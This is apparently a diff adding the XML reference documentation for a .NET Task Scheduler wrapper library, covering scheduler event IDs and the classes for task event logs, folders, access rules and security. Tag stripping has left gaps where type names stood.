as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + 